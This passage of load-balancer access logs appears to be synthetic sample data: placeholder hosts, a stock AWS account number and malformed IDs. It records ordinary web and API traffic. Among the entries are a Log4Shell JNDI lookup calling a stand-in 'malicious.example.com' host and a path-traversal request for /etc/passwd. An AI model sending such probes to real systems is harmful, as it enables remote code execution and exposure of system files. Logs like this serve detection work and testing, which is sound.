/api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cbf8-5643d08066654e638c9249fe" "prod-api-alb.example.com" "-" 7 2024-11-01T01:27:04.694385Z "forward" "-" "-" "10.0.135.174:443" "200" "-" "-" +https 2024-11-01T01:27:06.330838Z prod-api-alb 204.99.170.196:26973 10.0.74.92:443 0.099993 0.154809 0.049271 404 404 863 1116 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cbfa-2ebe9b87e0b543c5b74bcded" "prod-api-alb.example.com" "-" 3 2024-11-01T01:27:06.330838Z "forward" "-" "-" "10.0.74.92:443" "404" "-" "-" +https 2024-11-01T01:27:08.330212Z prod-web-alb 142.165.235.139:35280 10.0.198.248:443 0.090928 0.403847 0.003332 200 200 123 2633 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cbfc-6e6449134be4436f8f730f49" "prod-web-alb.example.com" "-" 3 2024-11-01T01:27:08.330212Z "forward" "-" "-" "10.0.198.248:443" "200" "-" "-" +https 2024-11-01T01:27:09.895133Z prod-web-alb 147.16.186.214:11775 10.0.81.60:443 0.011072 0.458175 0.034995 302 302 162 13101 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cbfd-ca1316d998794bdbb2d1cdee" "prod-web-alb.example.com" "-" 8 2024-11-01T01:27:09.895133Z "forward" "-" "-" "10.0.81.60:443" "302" "-" "-" +https 2024-11-01T01:27:11.241327Z prod-api-alb 212.184.205.248:61967 10.0.116.71:443 0.076969 0.475832 0.039941 200 200 117 3659 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cbff-3fcd822fcda942c3b0fe2592" "-" "-" 5 2024-11-01T01:27:11.241327Z "forward" "-" "-" "10.0.116.71:443" "200" "-" "-" +http 2024-11-01T01:27:12.429914Z staging-alb 216.183.186.144:53974 91.98.177.252:8080 0.097081 0.061856 0.042661 200 200 193 3422 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc00-97e983362d914ed888b7eb48" "staging-alb.example.com" "-" 4 2024-11-01T01:27:12.429914Z "forward" "-" "-" "91.98.177.252:8080" "200" "-" "-" +http 2024-11-01T01:27:13.057131Z staging-alb 249.143.22.166:13958 88.16.110.217:443 0.086946 0.724130 0.130109 200 200 770 2357 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc01-7b27bdaf2c5343f2aa80a027" "staging-alb.example.com" "-" 8 2024-11-01T01:27:13.057131Z "forward" "-" "-" "88.16.110.217:443" "200" "-" "-" +https 2024-11-01T01:27:14.649370Z prod-web-alb 57.192.1.211:30850 10.0.167.195:443 0.001208 0.395222 0.008983 301 301 809 6271 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc02-08221312b91a4d409db0e393" "prod-web-alb.example.com" "-" 9 2024-11-01T01:27:14.649370Z "forward" "-" "-" "10.0.167.195:443" "301" "-" "-" +https 2024-11-01T01:27:14.804568Z staging-alb 86.249.50.116:17941 159.231.74.155:80 0.077469 0.202852 0.080887 404 404 902 5412 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc02-31893855cf944c98ba3d298d" "staging-alb.example.com" "-" 8 2024-11-01T01:27:14.804568Z "forward" "-" "-" "159.231.74.155:80" "404" "-" "-" +https 2024-11-01T01:27:15.362689Z prod-web-alb 193.27.228.126:55316 10.0.1.127:443 0.037470 0.422252 0.040160 404 404 910 14761 "POST /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc03-62d70ed6afe3425fa67a4c3f" "-" "-" 9 2024-11-01T01:27:15.362689Z "forward" "-" "-" "10.0.1.127:443" "404" "-" "-" +https 2024-11-01T01:27:16.397198Z staging-alb 145.201.48.18:34211 26.26.234.194:80 0.027441 0.733523 0.062212 404 404 751 14196 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc04-44ed619214e048bf9bf82823" "staging-alb.example.com" "-" 5 2024-11-01T01:27:16.397198Z "forward" "-" "-" "26.26.234.194:80" "404" "-" "-" +https 2024-11-01T01:27:17.159514Z prod-api-alb 65.204.137.124:51137 10.0.24.183:443 0.086273 0.015714 0.015229 302 302 577 10121 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cc05-cb1941b15de148cca8eacc35" "prod-api-alb.example.com" "-" 6 2024-11-01T01:27:17.159514Z "forward" "-" "-" "10.0.24.183:443" "302" "-" "-" +http 2024-11-01T01:27:18.324976Z staging-alb 150.75.58.18:40769 174.6.0.38:443 0.102291 0.523931 0.019547 200 200 816 9397 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc06-dd41809e631f4a4c97297d8b" "staging-alb.example.com" "-" 9 2024-11-01T01:27:18.324976Z "forward" "-" "-" "174.6.0.38:443" "200" "-" "-" +https 2024-11-01T01:27:19.510884Z staging-alb 236.63.93.61:15346 191.173.141.250:8080 0.117789 0.652637 0.149335 301 301 323 4676 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc07-46397e977b8c4cd8b94c804e" "staging-alb.example.com" "-" 0 2024-11-01T01:27:19.510884Z "forward" "-" "-" "191.173.141.250:8080" "301" "-" "-" +https 2024-11-01T01:27:21.353736Z prod-api-alb 185.181.85.31:12966 10.0.126.194:443 0.042513 0.064623 0.047028 404 404 662 3915 "GET /../../../etc/passwd HTTP/1.1" "Qualys SSL Assessment Scanner" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc09-b13e99fe435c47bf866cb74b" "-" "-" 0 2024-11-01T01:27:21.353736Z "forward" "-" "-" "10.0.126.194:443" "404" "-" "-" +https 2024-11-01T01:27:22.424529Z prod-web-alb 38.166.81.146:62481 10.0.156.78:443 0.016350 0.370202 0.048208 200 200 715 4546 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc0a-23afeef31e6c4c71bdf76b13" "prod-web-alb.example.com" "-" 10 2024-11-01T01:27:22.424529Z "forward" "-" "-" "10.0.156.78:443" "200" "-" "-" +https 2024-11-01T01:27:23.529362Z staging-alb 99.164.139.117:27589 166.15.153.29:80 0.104223 0.610433 0.107396 404 404 783 5968 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc0b-47bdc01c2b20432ba5e947af" "staging-alb.example.com" "-" 4 2024-11-01T01:27:23.529362Z "forward" "-" "-" "166.15.153.29:80" "404" "-" "-" +http 2024-11-01T01:27:25.438507Z staging-alb 205.197.95.214:57994 219.200.160.120:80 0.127639 0.636574 0.078999 200 200 649 14902 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc0d-671280a4ff1a44049cf6aec0" "staging-alb.example.com" "-" 3 2024-11-01T01:27:25.438507Z "forward" "-" "-" "219.200.160.120:80" "200" "-" "-" +https 2024-11-01T01:27:27.090499Z prod-api-alb 26.68.128.213:18752 10.0.152.101:443 0.046410 0.121530 0.096692 200 200 719 4314 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc0f-a3fdc845121e4c70842cb63e" "prod-api-alb.example.com" "-" 10 2024-11-01T01:27:27.090499Z "forward" "-" "-" "10.0.152.101:443" "200" "-" "-" +https 2024-11-01T01:27:28.308693Z prod-web-alb 222.146.92.191:10320 10.0.89.102:443 0.042138 0.420786 0.079701 200 200 24 5160 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc10-e196af2937434b9c9cb21a32" "prod-web-alb.example.com" "-" 6 2024-11-01T01:27:28.308693Z "forward" "-" "-" "10.0.89.102:443" "200" "-" "-" +https 2024-11-01T01:27:29.396811Z staging-alb 32.117.251.246:24783 198.42.132.247:8080 0.149929 0.407191 0.076731 200 200 192 5504 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc11-41b74b66a53f48ceaf0e27f6" "staging-alb.example.com" "-" 5 2024-11-01T01:27:29.396811Z "forward" "-" "-" "198.42.132.247:8080" "200" "-" "-" +https 2024-11-01T01:27:30.630720Z prod-api-alb 2.55.210.87:15121 10.0.121.1:443 0.093026 0.299722 0.063412 302 302 800 13197 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc12-d0bb59101d39451fb30bb207" "prod-api-alb.example.com" "-" 2 2024-11-01T01:27:30.630720Z "forward" "-" "-" "10.0.121.1:443" "302" "-" "-" +https 2024-11-01T01:27:31.385115Z prod-api-alb 250.35.253.161:45731 10.0.10.166:443 0.085404 0.193744 0.033496 302 302 407 12563 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc13-55098a9beb764a518e96c7cb" "prod-api-alb.example.com" "-" 4 2024-11-01T01:27:31.385115Z "forward" "-" "-" "10.0.10.166:443" "302" "-" "-" +https 2024-11-01T01:27:31.729327Z prod-api-alb 187.16.188.25:45841 10.0.144.142:443 0.078285 0.329198 0.005246 301 301 954 4063 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc13-42b088f5ba7a49a384d8dec0" "prod-api-alb.example.com" "-" 1 2024-11-01T01:27:31.729327Z "forward" "-" "-" "10.0.144.142:443" "301" "-" "-" +https 2024-11-01T01:27:33.278562Z prod-api-alb 144.77.182.213:12362 10.0.221.57:443 0.040174 0.421071 0.029300 404 404 455 3136 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc15-e27a0ebaa1444e4086d37f35" "prod-api-alb.example.com" "-" 4 2024-11-01T01:27:33.278562Z "forward" "-" "-" "10.0.221.57:443" "404" "-" "-" +https 2024-11-01T01:27:35.169413Z prod-web-alb 97.127.176.78:30120 10.0.165.246:443 0.060446 0.177675 0.071728 302 302 577 5074 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc17-1da45438b63744a79158c662" "prod-web-alb.example.com" "-" 3 2024-11-01T01:27:35.169413Z "forward" "-" "-" "10.0.165.246:443" "302" "-" "-" +https 2024-11-01T01:27:35.895794Z staging-alb 105.100.188.20:22389 110.58.88.192:80 0.008882 0.551625 0.052765 301 301 40 10471 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc17-7a6f0b35034e48c58a140723" "staging-alb.example.com" "-" 2 2024-11-01T01:27:35.895794Z "forward" "-" "-" "110.58.88.192:80" "301" "-" "-" +https 2024-11-01T01:27:37.729565Z staging-alb 123.21.116.10:53680 199.13.4.105:8080 0.107470 0.491183 0.074346 200 200 791 390 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc19-c9b02924e371441f8471eba4" "staging-alb.example.com" "-" 5 2024-11-01T01:27:37.729565Z "forward" "-" "-" "199.13.4.105:8080" "200" "-" "-" +https 2024-11-01T01:27:38.700931Z prod-api-alb 117.146.213.61:63645 10.0.36.225:443 0.032986 0.192564 0.067403 404 404 279 6871 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cc1a-e5e013cb79164fcaa7a708da" "prod-api-alb.example.com" "-" 0 2024-11-01T01:27:38.700931Z "forward" "-" "-" "10.0.36.225:443" "404" "-" "-" +https 2024-11-01T01:27:39.520879Z prod-api-alb 171.79.74.115:51849 10.0.79.200:443 0.070931 0.440382 0.097531 301 301 738 864 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cc1b-d826f171110b42c9b48a93c9" "prod-api-alb.example.com" "-" 3 2024-11-01T01:27:39.520879Z "forward" "-" "-" "10.0.79.200:443" "301" "-" "-" +https 2024-11-01T01:27:40.848410Z prod-web-alb 30.214.159.187:20738 10.0.218.62:443 0.020409 0.370747 0.098517 302 302 832 12832 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc1c-ee9ad305f69b4466b1d66d0f" "prod-web-alb.example.com" "-" 1 2024-11-01T01:27:40.848410Z "forward" "-" "-" "10.0.218.62:443" "302" "-" "-" +https 2024-11-01T01:27:41.791149Z prod-api-alb 238.246.196.135:35486 10.0.47.227:443 0.010603 0.130352 0.052916 200 200 61 8994 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc1d-51cc8d37313f4788855ffbe4" "prod-api-alb.example.com" "-" 0 2024-11-01T01:27:41.791149Z "forward" "-" "-" "10.0.47.227:443" "200" "-" "-" +https 2024-11-01T01:27:43.733817Z prod-api-alb 210.241.185.160:46950 10.0.148.192:443 0.081048 0.093809 0.045941 301 301 305 11759 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cc1f-4fff17507ce14a2eb729054a" "prod-api-alb.example.com" "-" 3 2024-11-01T01:27:43.733817Z "forward" "-" "-" "10.0.148.192:443" "301" "-" "-" +https 2024-11-01T01:27:44.440582Z prod-api-alb 180.115.79.238:24896 10.0.70.135:443 0.082774 0.483873 0.065793 200 200 27 14844 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc20-a5add3271aab4de0bdde422a" "prod-api-alb.example.com" "-" 5 2024-11-01T01:27:44.440582Z "forward" "-" "-" "10.0.70.135:443" "200" "-" "-" +https 2024-11-01T01:27:45.913953Z staging-alb 82.241.76.203:54218 248.80.192.177:8080 0.085451 0.125242 0.124909 200 200 99 12972 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc21-9cfcb78914aa488b8b6036d5" "staging-alb.example.com" "-" 4 2024-11-01T01:27:45.913953Z "forward" "-" "-" "248.80.192.177:8080" "200" "-" "-" +http 2024-11-01T01:27:46.117560Z staging-alb 47.3.229.65:19090 38.152.77.227:8080 0.110611 0.650991 0.008941 200 200 220 6070 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc22-a0d7839c74f340598ecf8ebd" "-" "-" 6 2024-11-01T01:27:46.117560Z "forward" "-" "-" "38.152.77.227:8080" "200" "-" "-" +https 2024-11-01T01:27:48.011186Z prod-api-alb 181.248.99.96:60025 10.0.153.97:443 0.011399 0.160437 0.081668 404 404 51 4498 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cc24-f977870d252143b4a3a7936e" "prod-api-alb.example.com" "-" 0 2024-11-01T01:27:48.011186Z "forward" "-" "-" "10.0.153.97:443" "404" "-" "-" +https 2024-11-01T01:27:48.395568Z prod-web-alb 71.73.220.199:21242 10.0.201.160:443 0.054567 0.363328 0.007363 200 200 740 4899 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc24-63f0ea5b029142e59ab05af5" "prod-web-alb.example.com" "-" 0 2024-11-01T01:27:48.395568Z "forward" "-" "-" "10.0.201.160:443" "200" "-" "-" +https 2024-11-01T01:27:49.228300Z prod-api-alb 18.57.141.36:28818 10.0.101.223:443 0.031754 0.086262 0.079353 404 404 881 3989 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cc25-72fc3ea47fa948d5ae326460" "prod-api-alb.example.com" "-" 2 2024-11-01T01:27:49.228300Z "forward" "-" "-" "10.0.101.223:443" "404" "-" "-" +https 2024-11-01T01:27:50.815555Z staging-alb 226.16.12.220:64707 142.115.97.124:443 0.131280 0.349717 0.010270 200 200 274 10981 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc26-9831bf06d86e47d4800e940c" "staging-alb.example.com" "-" 4 2024-11-01T01:27:50.815555Z "forward" "-" "-" "142.115.97.124:443" "200" "-" "-" +https 2024-11-01T01:27:51.742294Z prod-api-alb 143.64.27.114:55176 10.0.13.239:443 0.095591 0.236497 0.030475 200 200 136 1028 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc27-c0fca85fe0a242f9a86c391d" "prod-api-alb.example.com" "-" 2 2024-11-01T01:27:51.742294Z "forward" "-" "-" "10.0.13.239:443" "200" "-" "-" +https 2024-11-01T01:27:52.798322Z staging-alb 167.148.128.110:57709 241.217.166.240:8080 0.018437 0.608516 0.038459 302 302 757 8128 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cc28-cda8170100ba4a38aefb2601" "staging-alb.example.com" "-" 4 2024-11-01T01:27:52.798322Z "forward" "-" "-" "241.217.166.240:8080" "302" "-" "-" +https 2024-11-01T01:27:54.065508Z prod-web-alb 115.185.201.175:60540 10.0.120.248:443 0.026854 0.118211 0.034508 301 301 511 6625 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc2a-e2e41e86344a42578e0eb28b" "prod-web-alb.example.com" "-" 4 2024-11-01T01:27:54.065508Z "forward" "-" "-" "10.0.120.248:443" "301" "-" "-" +https 2024-11-01T01:27:54.735837Z prod-web-alb 244.82.46.246:30590 10.0.204.92:443 0.052722 0.223265 0.004741 301 301 8 845 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc2a-fea25ce86540479c8ca74f4c" "prod-web-alb.example.com" "-" 5 2024-11-01T01:27:54.735837Z "forward" "-" "-" "10.0.204.92:443" "301" "-" "-" +https 2024-11-01T01:27:55.260634Z prod-api-alb 108.64.160.103:64892 10.0.87.252:443 0.012015 0.308485 0.071576 302 302 830 4572 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc2b-59aa674444364cf98e707e29" "prod-api-alb.example.com" "-" 6 2024-11-01T01:27:55.260634Z "forward" "-" "-" "10.0.87.252:443" "302" "-" "-" +https 2024-11-01T01:27:57.183915Z prod-web-alb 14.139.99.44:56869 10.0.20.38:443 0.023771 0.187295 0.023816 200 200 330 11582 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc2d-1110658f802c4ff09b5dc1f0" "prod-web-alb.example.com" "-" 2 2024-11-01T01:27:57.183915Z "forward" "-" "-" "10.0.20.38:443" "200" "-" "-" +https 2024-11-01T01:27:58.795778Z prod-web-alb 67.224.168.146:48771 10.0.248.127:443 0.021107 0.195006 0.099860 200 200 187 12249 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc2e-a986fd805ce246329abf631e" "prod-web-alb.example.com" "-" 4 2024-11-01T01:27:58.795778Z "forward" "-" "-" "10.0.248.127:443" "200" "-" "-" +http 